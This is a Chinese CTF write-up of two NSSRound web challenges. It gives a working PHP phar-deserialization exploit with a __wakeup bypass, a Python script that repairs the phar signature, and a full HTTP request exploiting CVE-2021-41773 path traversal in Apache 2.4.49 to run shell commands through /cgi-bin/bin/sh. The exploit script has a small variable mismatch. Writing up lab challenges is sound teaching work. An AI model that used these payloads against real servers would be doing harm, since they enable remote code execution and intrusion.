[NSSRound#4&5] Web题解
1zweb(revenge)
因为题目存在一个任意文件读取漏洞,然后原题没banflag
关键字,可以直接读了
主要考点就是
首先看到页面查询文件,存在任意文件读取,直接先把两个源码读出来
index.php
<?php class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this->ljt="ljt"; $this->dky="dky"; phpinfo(); } public function __destruct(){ if($this->ljt==="Misc"&&$this->dky==="Re") eval($this->cmd); } public function __wakeup(){ $this->ljt="Re"; $this->dky="Misc"; } }
|
upload.php
<?php if ($_FILES["file"]["error"] > 0){ echo "上传异常"; } else{ $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){ $content=file_get_contents($_FILES["file"]["tmp_name"]); $pos = strpos($content, "__HALT_COMPILER();"); if(gettype($pos)==="integer"){ echo "ltj一眼就发现了phar"; }else{ if (file_exists("./upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " 文件已经存在"; }else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w"); fwrite($myfile, $content); fclose($myfile); echo "上传成功 ./upload/".$_FILES["file"]["name"]; } } }else{ echo "dky不喜欢这个文件 .".$extension; } } ?>
|
思路很清晰,利用file_get_contents
读phar文件去触发反序列化,执行__destruct()
方法,实现任意代码执行
exp
<?php class LoveNss{ public $ljt="Misc"; public $dky="Re"; public $cmd="system('cat /flag');"; }
$a = new LoveNss();
$phar = new Phar("lnk.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetaData($test); $phar->addFromString("exp.txt","exp"); $phar->stopBuffering();
|
然后010修改属性个数绕过wakeup,再修正一下签名
from hashlib import sha1
with open('./lnk.phar', 'rb') as f: content = f.read() main = content[:-28] hs = content[-8:] new = main + sha1(main).digest() + hs open("test.phar", "wb").write(new)
|
之后文件内容绕过,自然想到gzip压缩一下
改一下后缀名上传,然后伪协议直接读
ez_rce
考点
打开题目发现只有一个it works
抓个包发现了apache中间件的版本
搜索可以发现CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越以及RCE漏洞
利用如下数据包
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 Host: 1.14.71.254:28909 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 28
echo;id
|
发现可以成功执行
接着就是这题采取了一个文件夹迷宫,存在多层,可以利用grep
命令进行递归查找